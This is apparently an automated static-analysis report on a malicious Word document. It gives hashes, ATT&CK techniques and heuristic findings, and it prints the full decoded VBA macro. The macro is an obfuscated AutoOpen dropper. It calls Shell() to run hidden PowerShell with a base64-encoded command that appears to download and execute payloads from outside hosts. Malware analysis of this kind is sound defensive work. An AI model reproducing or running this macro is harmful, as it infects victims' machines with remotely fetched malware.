Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c6c0d7865d739738…

MALICIOUS

Office (OLE)

100.2 KB Created: 2018-05-30 21:38:00 Authoring application: Microsoft Office Word First seen: 2018-06-25
MD5: 144152cc17660e2e40de434403d54a57 SHA-1: 08951d5419713598b605558a9b40adc61c7dafba SHA-256: c6c0d7865d7397387dcbec924125cc6414bbb716ecea76d11b05ce32d4f6efa4
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is a strong indicator of a dropper or downloader. The ClamAV heuristic also identifies it as a dropper. The VBA code is heavily obfuscated, but the presence of the Shell() function and the Autoopen trigger suggests it's designed to execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6566566-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6566566-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Log(32637) - OzYQjX / Atn(16307) / YTVoqF / dQjCQc
zNXCEpbrGb = QYoDUw + Shell(lwjuXGA + nHcqJOZs + pnchwEXBzIi + zDiQplJLmZ + NOozaLX, vbHide)
MVJQq = Atn(82667 * CInt(98092) + 68900 - 74741)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17417 bytes
SHA-256: 9fbea150be9ddb94c2d76f30858ed3c9d873572e70a4703b33e912c2e390fc99
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "acQGhGswzVn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function uKATZzc()
On Error Resume Next
IjXEAu = Atn(58429 * CInt(7921) + 54929 - 76099)
KBSHr = 56301 + _
Log(86018) - CPvYXs / Atn(10094) / UNwQXb / zoBYp
MiYIFO = Atn(78833 * CInt(71392) + 56421 - 57740)
BIsON = 14238 + _
Log(99740) - uwJqi / Atn(43485) / iBTTqE / wqlWQ
uKATZzc = WoSzmR + lIRjE + tOLGlC + wlpBDUSvQ + rfNRi + dmjdw + oFJbjiw + acNGjotZHM + hSovdX + jThqQL
dQMrj = Atn(80990 * CInt(28924) + 28791 - 68734)
ljBMuk = 4301 + _
Log(76084) - mTjnRJ / Atn(75633) / wKBcq / iiikSH
End Function
Sub Autoopen()
On Error Resume Next
HXwPhm = Atn(79345 * CInt(84162) + 17639 - 26456)
wbizzc = 89974 + _
Log(64195) - mQEiIu / Atn(79904) / iPAjj / iwhXj
hAENkvA (uKATZzc)
wLpwN = Atn(59131 * CInt(28645) + 25493 - 69832)
BplLBq = 35937 + _
Log(31658) - mzVNt / Atn(26103) / RVzAQ / KKwab
End Sub
Function hAENkvA(zDiQplJLmZ)
On Error Resume Next
Uijcj = Atn(86647 * CInt(26830) + 20718 - 96841)
EniRQ = 94683 + _
Log(50001) - wvjJNt / Atn(26501) / UzibMb / LvcGU
nHcqJOZs = zWCUSDQrhn + Chr(vbKeyP) + YoSoOcPVU
UfCGwR = Atn(22764 * CInt(43744) + 98004 - 76491)
kVcfY = 22017 + _
Log(32637) - OzYQjX / Atn(16307) / YTVoqF / dQjCQc
zNXCEpbrGb = QYoDUw + Shell(lwjuXGA + nHcqJOZs + pnchwEXBzIi + zDiQplJLmZ + NOozaLX, vbHide)
MVJQq = Atn(82667 * CInt(98092) + 68900 - 74741)
LTGnwO = 43430 + _
Log(66902) - nnDdzW / Atn(59786) / wPrIAK / mCHPj
End Function



Attribute VB_Name = "iojkcWwBj"
Function WoSzmR()
On Error Resume Next
CkqWR = Atn(32250 * CInt(75904) + 33522 - 10190)
twfwL = 76141 + _
Log(85308) - bopfbE / Atn(60207) / EQmzE / lvAhq
zoDmITAH = "owersHeLL -W" + "inDow" + "sTyle hidden -e" + " IAAmACgAIAA" + "kAFMAaA" + "BlAEwATA" + "BpAEQAWwAx"
TQluG = Atn(36143 * CInt(84765) + 98353 - 7522)
AjRMLb = 48827 + _
Log(44376) - mrQMW / Atn(60003) / AlMjv / wiXKDv
hjYwtwzrFZM = "AF0AKw" + "AkAFMAaABFAGwA" + "TABJA" + "GQAWwAxA" + "DMAXQArACc" + "AeAAn"
IMjwW = Atn(31947 * CInt(11083) + 61276 - 84838)
KWdYES = 5176 + _
Log(7658) - OzRGm / Atn(39739) / WjjpAY / wAaLTp
tZPthYw = "ACkAKAAgACg" + "AKAAiAHsANAA" + "5AH0AewA5ADMA" + "fQB7ADUA" + "fQB7ADE" + "AMAA5AH0Ae" + "wA4ADYAfQB7ADMA"
ZbInC = Atn(24310 * CInt(34941) + 9882 - 86098)
UGojZ = 82465 + _
Log(10021) - ckuWwC / Atn(93962) / siXdGi / IpXJT
lKzfRtjjk = "NgB9AHsAN" + "AA1AH0AewAyAD" + "QAfQB7ADIAN" + "gB9AHsAOAA1A" + "H0AewAy" + "ADcAf" + "QB7ADUA" + "MQB9AHsAMQAw" + "ADUAfQB7ADgAOAB"
ITRqSV = Atn(87943 * CInt(69183) + 94156 - 48529)
VRrEM = 6491 + _
Log(59769) - qQTnh / Atn(29873) / lsfrC / mJURcf
uwsTA = "9AHsAMgAxAH0Ae" + "wA4ADEAfQB7AD" + "IAOQB9" + "AHsAMQA0AH" + "0AewA0ADcAfQB7A" + "DUANwB9AHs"
hDCvFO = Atn(14776 * CInt(78682) + 82740 - 18550)
msDcTo = 62220 + _
Log(69741) - IjBEFX / Atn(53853) / HXnjYA / nOXhS
nRXTO = "AMQAzAH" + "0AewA2" + "ADEAfQB7ADEAM" + "AAzAH0A" + "ewAyADUAf" + "QB7ADUANgB9AH" + "sAMwA" + "xAH0AewA3AH0"
VuijF = Atn(19214 * CInt(58785) + 19580 - 81421)
ksDVzB = 95747 + _
Log(81409) - mYhTWN / Atn(26529) / ioFQwR / npSVA
jzwqnr = "AewA3ADA" + "AfQB7ADYAfQB7A" + "DQAMwB9AHsA" + "OAA0AH0A" + "ewA5A" + "DEAfQB7A" + "DEAMAA4" + "AH0AewAyAD" + "MAfQB7ADk" + "ANgB9AHsANgA"
zZRrC = Atn(82946 * CInt(39371) + 59738 - 52671)
Qhzjjn = 52206 + _
Log(24352) - rSAVl / Atn(30016) / akiIjc / VozPbT
UaLpf = "1AH0AewA0ADAA" + "fQB7AD" + "YAMwB9AHsANAA2A" + "H0AewAxADA" + "AMQB9AHs"
tMCCo = Atn(66846 * CInt(98475) + 71039 - 69264)
NFzIuw = 6115 + _
Log(62082) - QQkwSC / Atn(76742) / drkYzt / wGzTw
ofQAOXTKw = "AMgAwAH0Ae" + "wA4ADI" + "AfQB7A" + "DMAMwB9AHsAMQA" + "xADEAf" + "QB7ADUAOQB9AHsA" + "MwA3AH0" + "AewAzA" + "DkAfQ"
npAiud = Atn(57012 * CInt(64597) + 51688 - 84596)
jzDFJP = 68976 + _
Log(99433) - rVtzb / Atn(27992) / zKozj / vdakOY
iQXIVwnUwQ = "B7ADk" + "AOAB9A" + "HsAMgB9AH" + "sANQA4AH0Ae" + "wA3ADIAfQB" + "7ADEANQB9AHsAMw" + "A1AH0" + "AewA4A" + "DMAfQB7A" + "DYAMg"
WoSzmR = zoDmITAH + hjYwtwzrFZM + tZPthYw + lKzfRtjjk + uwsTA + nRXTO + jzwqnr + UaLpf + ofQAOXTKw + iQXIVwnUwQ
End Function
Function lIRjE()
On Error Resume Next
KJDzo = Atn(79002 * CInt(99066) + 80360 - 89038)
qNUwpR = 93464 + _
Log(1068) - jRiXm / Atn(86403) / zEafZ / LaqhS
IpaOTMUZc = "B9AHsAMQ" + "A2AH0AewAzADI" + "AfQB7ADEAOQ" + "B9AHsAOQAwAH0" + "AewA5AD"
LmPWEV = Atn(94713 * CInt(71290) + 29464 - 75941)
LdjGr = 14975 + _
Log(60808) - QGbpuP / Atn(28519) / pCtFH / CpVRuZ
twWDCCUizuf = "UAfQB7AD" + "MAfQB7ADEAMgB" + "9AHsANgAw" + "AH0AewA1" + "ADUAfQB7A" + "DYANwB9AHsAO" + "QB9AHsANAB9AHs" + "ANwA1AH0Ae"
pHzMw = Atn(28611 * CInt(3458) + 79831 - 88789)
TKvBn = 68179 + _
Log(93795) - HpEHi / Atn(42575) / zLaula / Fkawi
szrOpllpi = "wAxADEAMAB9AH" + "sAMQA4AH0AewA" + "zADQAfQB" + "7ADIA" + "MgB9AHsA" + "NQA0AH0AewAwAH" + "0AewAxADAAMgB9"
vANavi = Atn(50141 * CInt(90402) + 24926 - 96215)
FYwmk = 94775 + _
Log(65409) - biBDa / Atn(90967) / tFFKa / ETYGci
oIcNrR = "AHsAOAAwAH0A" + "ewA3A" + "DQAfQB7ADgAf" + "QB7ADEANwB9" + "AHsANAA" + "xAH0AewA4ADcAfQ" + "B7ADYAOQB9AHsA" + "NwA3AH0AewA" + "zADAAfQB7ADEAMA"
AwmkN = Atn(21330 * CInt(77632) + 25526 - 57306)
VnsZDw = 89851 + _
Log(94987) - fnpUpC / Atn(44652) / AEYjHT / YfrQp
MucCRpYfNJ = "A2AH0AewA4" + "ADkAfQB7ADkA" + "OQB9AHsAMQA" + "xAH0AewA3ADYA" + "fQB7ADEAMAA3AH" + "0AewAx" + "ADAAMAB9AHs"
GvPij = Atn(45393 * CInt(65203) + 27826 - 2877)
dJqwY = 21853 + _
Log(52813) - iqjnIF / Atn(89065) / UWBYG / HWYrZp
UXhNqFNERi = "AOQAyAH0AewA1A" + "DMAfQB7AD" + "cAMwB9AHsANgA4" + "AH0AewA3ADk"
lIRjE = IpaOTMUZc + twWDCCUizuf + szrOpllpi + oIcNrR + MucCRpYfNJ + UXhNqFNERi
End Function
Function tOLGlC()
On Error Resume Next
ipMzj = Atn(90947 * CInt(44907) + 31634 - 38864)
NDuhzj = 37499 + _
Log(74470) - kVDLN / Atn(56035) / zBUaj / lqDAWn
fCPMYwNJQi = "AfQB7ADQA" + "MgB9AHsANQA" + "yAH0AewA5ADQAf" + "QB7ADUAMAB9A" + "HsANgA0A" + "H0AewA0" + "ADQAfQB7ADE" + "AfQB7ADIAOAB" + "9AHsAMwA4AH0A" + "ewAxADA"
JWzzZ = Atn(77563 * CInt(39918) + 23019 - 92815)
pEFPF = 72115 + _
Log(52107) - zWVwVv / Atn(88079) / bSEiw / fOANX
nEfda = "ANAB9AHsANgA2AH" + "0AewA0ADgAfQ" + "B7ADcAM" + "QB9AHsAMQ" + "AwAH0Aew" + "A5ADcAf" + "QB7ADc" + "AOAB9" + "ACIAIAAtAG"
lYICC = Atn(88009 * CInt(58852) + 41274 - 52664)
jEcWW = 34036 + _
Log(5417) - BCFIM / Atn(5271) / SJjZr / sOXsb
uMOIDiRtKv = "YAIAAnAH" + "gAZQBuAHY" + "AOgBwA" + "HUAYgBsAG" + "kAYwAgACsAJwAs" + "ACcAUAAnACwAJ"
TtbRY = Atn(79791 * CInt(11005) + 72894 - 99899)
bmNLm = 23545 + _
Log(40388) - dLFukk / Atn(96613) / kGoqFi / DjUZkh
pVSBS = "wAvAG8" + "AJwAs" + "ACcAcgBGAHAA" + "QwB4ACcALAAn"
HQHQh = Atn(87459 * CInt(22396) + 61273 - 54135)
tZOPIY = 15758 + _
Log(83342) - cFwzJ / Atn(92631) / rKcSnk / KEonU
BDaWNXCGYnf = "AGkAbgB" + "nAC4AbgBlA" + "HQALwB2ACcA" + "LAAnAGQAYQ" + "BzAGQAIA"
tOLGlC = fCPMYwNJQi + nEfda + uMOIDiRtKv + pVSBS + BDaWNXCGYnf
End Function
Function wlpBDUSvQ()
On Error Resume Next
EkEiI = Atn(94046 * CInt(61368) + 31096 - 62225)
KMhRFN = 15638 + _
Log(36586) - UjCBDJ / Atn(86064) / JDKTl / nOrAUp
wwiNcH = "A9ACcALAAn" + "ADsAJw" + "AsACcAM" + "gAxADMAMwAnACwA" + "JwBMAHgA" + "TgBTA" + "EIAIAArAC" + "AAKABhA"
QhKOS = Atn(11533 * CInt(9909) + 35489 - 20833)
wVpATC = 66838 + _
Log(1367) - PnWMW / Atn(53914) / YtDNM / dkECrn
tJnmpGOnmIY = "CcALAAnAGwAJw" + "AsACcAUwBEAEM" + "AKQA7ACcAL" + "AAnAEkAdwAnACwA" + "JwBFAEcA"
DnqwGN = Atn(95535 * CInt(91549) + 76197 - 39136)
JAzZZ = 87818 + _
Log(39575) - mthLOz / Atn(70412) / sEwQL / PRbwYG
jQzwr = "LwBAAGgAd" + "AAnACwAJwA" + "uAE4AZQB0AC4AV" + "wAnACwAJw" + "AtAG8AYgBqAGUA" + "YwB0AGEAdwBQACk" + "AJwAsACcAaA" + "BpAGwA"
idkZr = Atn(8032 * CInt(23975) + 78039 - 6912)
KiCAs = 43111 + _
Log(54720) - BVEFqr / Atn(7042) / Nlizc / OjIQw
TqMPYUtwfVr = "JwAsACc" + "ATgAnA" + "CwAJwB3AFAALgBl" + "AHgAYQB3AFAAKwB"
wlpBDUSvQ = wwiNcH + tJnmpGOnmIY + jQzwr + TqMPYUtwfVr
End Function
Function rfNRi()
On Error Resume Next
XtYUos = Atn(72469 * CInt(66211) + 17669 - 90519)
uzVXk = 8421 + _
Log(47961) - tVrqbG / Atn(10802) / oTWsca / EHzkQz
bLivuBw = "hAHcAUA" + "BlAGEA" + "dwBQACkAJwAsAC" + "cAMAB" + "pACcALAAnAG" + "0AJwAsACcAaQ" + "AnACwAJw" + "B3ACcAL"
VqSOn = Atn(97061 * CInt(13445) + 97087 - 57814)
jdCPfC = 93877 + _
Log(26998) - JwOmCu / Atn(39712) / QPmUI / nAAYMS
mPwpzZa = "AAnAHcAUAAuAFMA" + "JwAsACcAcAAnACw" + "AJwBhAH" + "cAUAA" + "pACAAc" + "gAnACwAJwBhA" + "GQAYQBzAG" + "QALgBuAGUAeAB0"
cqpuJ = Atn(97528 * CInt(44307) + 52784 - 48329)
AWhoJ = 12747 + _
Log(7802) - USpqj / Atn(83274) / bpPOi / jvbjGY
qcCowMBDjTj = "ACgAMQA" + "wACcALAAn" + "AGEAbgBkAG8A" + "JwAsACcA" + "TAB4ACcALAAnA" + "CsAYQB3AFAAZQ" + "AnACwAJwBhAH" + "cAUAAn"
tvzhrK = Atn(73004 * CInt(96692) + 50965 - 99138)
uwIszR = 73767 + _
Log(13825) - niJHMu / Atn(51224) / aFICh / WYVIz
sfiTiSwR = "ACwAJwAuACcAL" + "AAnACAAMgA4AC" + "cALAAnAHgAT" + "wBNAG0AWAAyA" + "C8AQABoAHQAdAB" + "wAHMAOg" + "AvAC8AZg"
FJApk = Atn(39635 * CInt(65775) + 42591 - 83319)
KtzaFL = 73161 + _
Log(80721) - zjVXU / Atn(82335) / MklTiI / itihTW
ptpQr = "ByAGEAbgBjAG8Aa" + "QBzAC0A" + "cgBvA" + "G0AJw" + "AsACcAZABpACcA" + "LAAnAC8AYQ"
rfNRi = bLivuBw + mPwpzZa + qcCowMBDjTj + sfiTiSwR + ptpQr
End Function
Function dmjdw()
On Error Resume Next
MEZfvO = Atn(6123 * CInt(14236) + 12747 - 21909)
foCpkl = 61128 + _
Log(97749) - IzkXR / Atn(4394) / RhadS / ckfvs
AtwqmPOWw = "AnACwA" + "JwBkAC4" + "AbwAn" + "ACwAJwB" + "QAG4AYQB3AFAA" + "KwBhAHcAU" + "ABlAGEAdw" + "BQACsAYQ" + "B3AFAAdwAtAG8"
bYEia = Atn(64222 * CInt(98168) + 38463 - 71470)
IsBVNj = 28468 + _
Log(38793) - OsIma / Atn(60940) / UMMRKo / GWjDTJ
DczYG = "AYgBqAGU" + "AYwBhA" + "HcAUAArAGEA" + "JwAsACcALwBI" + "AFoAVABvAEwAbQ" + "AvAEAAJwAsACcA"
SiVYYi = Atn(52715 * CInt(94462) + 9976 - 85525)
KtijT = 74546 + _
Log(59267) - sMmHUi / Atn(39079) / vwijvK / vKmNB
SLnoOC = "LQAnACwAJw" + "BoAHQAJwAsA" + "CcAOQB" + "3ACcALAAnA" + "DsAZgBvAHI" + "AZQBhAGMAaAAo" + "ACcALAA" + "nAGkAdwAnACwA" + "JwBkAE" + "wAeABBACcAL"
GXHTuz = Atn(90660 * CInt(28204) + 48696 - 6546)
YURcfa = 2628 + _
Log(79819) - ifzbL / Atn(50737) / hiWjY / BlpfoZ
uWsWwRDTfQp = "AAnAHcAJ" + "wAsACcAdwBQA" + "HQAJwAsACcA" + "MgB2ACc" + "ALAAnACAAUwB5" + "AHMAdA" + "BlACcALAAnA" + "GEAdwBQACk"
ZkWujI = Atn(52573 * CInt(86185) + 67823 - 32070)
lYzObY = 61344 + _
Log(14797) - wNjDW / Atn(46806) / Tfnzmc / izJEu
wAzaJmEsIGo = "AKABkACcA" + "LAAnA" + "GQATAB" + "4ACcALAAnAF" + "MARABD" + "ACkAO" + "wAmACgAY"
dmjdw = AtwqmPOWw + DczYG + SLnoOC + uWsWwRDTfQp + wAzaJmEsIGo
End Function
Function oFJbjiw()
On Error Resume Next
zHzRm = Atn(90483 * CInt(734) + 60183 - 74028)
RzjEk = 21612 + _
Log(9146) - XIMIN / Atn(92184) / wJSSQ / TlDVq
kHKtFajuivT = "QB3AFAA" + "SQBuAHYAbwBhA" + "HcAUAArAGEAdwAn" + "ACwAJwBZAF"
OQbXQ = Atn(63003 * CInt(40165) + 42286 - 98867)
XVTtp = 62299 + _
Log(72287) - quBAol / Atn(65583) / VszOc / tvqCwk
caftBOm = "kAVQAgAD0A" + "IAAuAC" + "gAJwAs" + "ACcAbQAn" + "ACwAJwB4AG" + "EAcwBmAGM" + "ALgBmACcALAA" + "nAHAAbABpAHQAKA" + "BhAHcAUABAA"
bsZRsl = Atn(93804 * CInt(98570) + 45828 - 54310)
AMiwON = 55208 + _
Log(80746) - DLbYlc / Atn(78308) / YCnkAu / CcivA
zJEjKdwp = "GEAdwBQA" + "CkAOwBkAEwAeA" + "BTAEQAQwAgAD0AI" + "ABkAEwAJw" + "AsACcAOgAvAC8Aa" + "ABlAHUAdgAn" + "ACwAJwAwA" + "DAAMAAsACcAL"
NzQJOQ = Atn(8557 * CInt(95475) + 63898 - 55106)
GusQQ = 2544 + _
Log(62925) - wVaVp / Atn(6508) / ROtlfh / EqNLOX
SzszRY = "AAnAG0AJwAsACc" + "AbgBs" + "AHkAJ" + "wAsACcA"
kirZN = Atn(57726 * CInt(11903) + 4024 - 98980)
aBfDQm = 54948 + _
Log(52774) - OwpDv / Atn(95229) / QqCCEm / DMrjv
VRVKHDR = "bQAnACwAJw" + "B0AHA" + "AJwAsACc" + "AZQBiAEMAbABpA" + "GUAbgB0ACcAL"
ZsPPHL = Atn(56170 * CInt(2291) + 74040 - 77507)
kjIIO = 89898 + _
Log(50259) - cUNPzw / Atn(63835) / scqZCh / hViawk
MCahvvWCj = "AAnAFEAJwAsACcA" + "QgBwACcALA" + "AnAFA" + "AawBhA" + "CcALAAnA" + "GoAcAAvACcALAAn" + "AGUAbQAn" + "ACwAJwBl"
rdBzS = Atn(40532 * CInt(57648) + 2969 - 79182)
QnSHL = 55846 + _
Log(30183) - aWkYv / Atn(29105) / Dkbmf / dLIcj
lmDJbmtj = "ACcALAAnAFQA" + "bwBTACcALA" + "AnAGEAc" + "wBmACcALA"
oFJbjiw = kHKtFajuivT + caftBOm + zJEjKdwp + SzszRY + VRVKHDR + MCahvvWCj + lmDJbmtj
End Function
Function acNGjotZHM()
On Error Resume Next
CiMKq = Atn(75954 * CInt(47884) + 15863 - 28476)
rVsTH = 42126 + _
Log(25201) - TimwOk / Atn(4842) / JznbK / bPNoOM
KsRzDvWcAW = "AnACkA" + "JwAsACcATAB4AC" + "cALAAn" + "AGMAJw" + "AsACc" + "AMwBnAC" + "cALAAnAGEAdw" + "BQACAA" + "KwAgAGQAJwAs"
lWGmot = Atn(11871 * CInt(87031) + 23174 - 25730)
wYJBb = 11443 + _
Log(30998) - HbdbVm / Atn(7431) / tdFTH / piLfJ
GzcilRqma = "ACcANgBqAHQA" + "VgAnACwAJw" + "BtACcALAAnAG" + "MAIABpAG4AI" + "ABkAEwAeA" + "BBAEQAQwBYACk" + "AewB0AHIAeQB7AG" + "QATAB4A" + "FkAWQBVACcALAAn" + "AGMAY"
rwWzj = Atn(59955 * CInt(56163) + 72891 - 41996)
nHYmES = 14435 + _
Log(90648) - AljMPG / Atn(88872) / wjbqv / qkLFfr
Hcdcsd = "QB0AGMAaAB7AH0" + "AfQAnACwAJ" + "wB0AHIAdwBtAD" + "EAJwAsACcA" + "UABKAFM"
JRqSqz = Atn(90677 * CInt(40272) + 91528 - 42872)
QuJoKj = 12979 + _
Log(83547) - iiCujs / Atn(21095) / CtNbDv / TqtZIz
tQKpqoTzbrO = "AUAAnACwAJwBQA" + "HcAYQB3AFA" + "AKwAn" + "ACwAJwBhACcAL" + "AAnAHIAZwAvA" + "FoAMwA" + "nACwAJw" + "BEAEM" + "AWAAgAC"
CNAaBn = Atn(3861 * CInt(49535) + 53746 - 97099)
CLiPvj = 95261 + _
Log(74920) - SCIwM / Atn(96948) / VTphi / zcotJr
bfiiXjDkjq = "cALAAnAG" + "0AOwBkACcALA" + "AnAHcAJ" + "wAsACcAZABMAHgA"
fcRPn = Atn(1592 * CInt(70513) + 22379 - 6658)
KbVlMA = 8948 + _
Log(3871) - CUjFm / Atn(32792) / LLCaC / GPipk
sAItERm = "JwAsA" + "CcAUAArAGE" + "AJwAsACcATwBhA" + "GQAJwAsACcAZ" + "QBuAHMAJwAsA" + "CcAPQAgAGEAdwAn" + "ACwAJwBM" + "ACcALAAnAG4AcwB"
acNGjotZHM = KsRzDvWcAW + GzcilRqma + Hcdcsd + tQKpqoTzbrO + bfiiXjDkjq + sAItERm
End Function
Function hSovdX()
On Error Resume Next
KMNHRZ = Atn(59349 * CInt(10917) + 25552 - 9838)
bkrwoC = 97836 + _
Log(43826) - wioZJc / Atn(86110) / VGDXPL / BoNOjH
NCpBzK = "hACcALAA" + "nADEATgBnA" + "GYAMwBnACgAKQAs" + "ACAAZAB" + "MAHgAJwA" + "sACcA" + "LgBmAHIALwAnA" + "CwAJwA6AC" + "8ALwBnAG" + "kAbgBjAGEALgAn"
rGYaq = Atn(19698 * CInt(56149) + 33452 - 23887)
SFvcXo = 96398 + _
Log(79158) - tkHBPL / Atn(48485) / uzpkp / mqiAi
tIkTGtWaw = "ACwAJwBi" + "AHIAZQBh" + "AGsAOwB9ACcALA" + "AnAHQAcA" + "A6AC8AJwAs" + "ACcARg" + "AnACwAJwBkACcA" + "LAAnADgAYw" + "AvAEAAaAB0A" + "HQAcAA6AC"
iIEtTE = Atn(19787 * CInt(30132) + 28146 - 58028)
PZANb = 70922 + _
Log(9348) - ORJiR / Atn(43717) / dhIloo / CzlfN
jSauNt = "8ALwB0AHI" + "AJwAsACcAI" + "ABhAHcAJ" + "wAsACcAOwBkA" + "EwAeABOAFM" + "AQgAg"
LBJmQz = Atn(50978 * CInt(20541) + 79273 - 18853)
FdqTV = 48100 + _
Log(49811) - XUbcGc / Atn(79388) / zWCcv / WwNHX
OlKiUt = "AD0AIAB" + "kAEwAeABu" + "AHMAJwA" + "sACcASQ" + "B0ACcALAAnAGE" + "AdwBQAG4AZQBhA" + "HcAJwAs" + "ACcAZgA" + "zAGcARABvAH"
SwonY = Atn(94979 * CInt(62050) + 22165 - 96209)
hYLtqN = 69518 + _
Log(48299) - Jbnbn / Atn(73602) / PiGsFN / IUajn
wwnjs = "cAbQAxAFcAbgBsA" + "HcAbQA" + "xACcALAAnAD" + "EAbABlAG" + "YAMwB" + "nACgAJwAsA" + "CcAUAANAAoA"
JwdNC = Atn(79387 * CInt(58175) + 32814 - 4760)
JOoEOp = 58303 + _
Log(40504) - BqhwF / Atn(11037) / TXDYPj / UtMzaY
iBGwsjXCijP = "aAB0AHQAJwAsAC" + "cAIAAmACg" + "AYQAnACwA" + "JwB6ACcALAAnAG"
IQNAwi = Atn(34141 * CInt(16685) + 75923 - 35546)
FflNbw = 47503 + _
Log(15244) - VHOdR / Atn(55882) / TLBsE / BtaUzI
HWYfXZp = "MALgB" + "jAG8AJwApACkA" + "LgBSA" + "EUAcABsAEEAQ" + "wBFACgAJwBhAH"
YLjkiJ = Atn(1598 * CInt(21573) + 13326 - 33040)
ZSLdA = 4192 + _
Log(68121) - TMwwma / Atn(73135) / isnHA / jnKXd
jtUzWzaWzOL = "cAUAAnA" + "CwAWwBTA" + "FQAcgBpAG4AZwBd" + "AFsAYwBIAG" + "EAUgBdADMAOQA" + "pAC4AUg" + "BFAHAAb" + "ABBAEMARQAoAC" + "cAZABMAH"
IcGMum = Atn(36875 * CInt(72977) + 70746 - 47511)
YkOoOa = 27662 + _
Log(94923) - wAWTT / Atn(18492) / IlYSd / nbrGl
WEnbqK = "gAJwAsAFsAUwBU" + "AHIAaQBu" + "AGcAXQB" + "bAGMAS" + "ABhAF" + "IAXQAzADYA" + "KQAuAF" + "IARQBwAGwAQQ" + "BDAEUAKAAoAFs"
hSovdX = NCpBzK + tIkTGtWaw + jSauNt + OlKiUt + wwnjs + iBGwsjXCijP + HWYfXZp + jtUzWzaWzOL + WEnbqK
End Function
Function jThqQL()
On Error Resume Next
zHAYF = Atn(98961 * CInt(28449) + 43555 - 74454)
RNvaTz = 14082 + _
Log(10416) - slYKAM / Atn(11205) / zwnzH / MzDwcR
wANMzL = "AYwBIAGEAUg" + "BdADEAMAAyACsAW" + "wBjAEgAY" + "QBSAF0A" + "NQAxACsAWwB" + "jAEgAYQBSAF0AM" + "QAwADMAKQAsAF" + "sAUwBUAHIAaQ"
EmahU = Atn(21838 * CInt(44168) + 6441 - 10664)
TlUsQa = 93528 + _
Log(99991) - zkPZz / Atn(58164) / XjcPC / nTnwwd
JtJVEWjLJ = "BuAGcAXQBbAGMA" + "SABhAFI" + "AXQAzADQAKQ" + "AuAFIARQBwAGwAQ" + "QBDAEUAKAA" + "nAHcAbQAx" + "ACcALAAnAG"
BiLuIT = Atn(21844 * CInt(76261) + 93310 - 91129)
GwQSj = 80461 + _
Log(25535) - CKnnap / Atn(73254) / wAEScT / KQYVR
vqjAZn = "AAJwApAC4" + "AUgBFAHAAbA" + "BBAEMARQAo" + "ACgAWwBj" + "AEgAYQBSAF0A" + "NwA0ACsAWwBjA"
SWboFJ = Atn(12485 * CInt(27111) + 42074 - 69000)
kWaVNv = 71109 + _
Log(8753) - iNmrc / Atn(88588) / cFBKUv / jnMzVj
MpbFPkZzWt = "EgAYQBSAF0AO" + "AAzACsAWwBjAEg" + "AYQBSAF0AOAAw" + "ACkALAAnAFwAJwA" + "pACkA"
jThqQL = wANMzL + JtJVEWjLJ + vqjAZn + MpbFPkZzWt
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.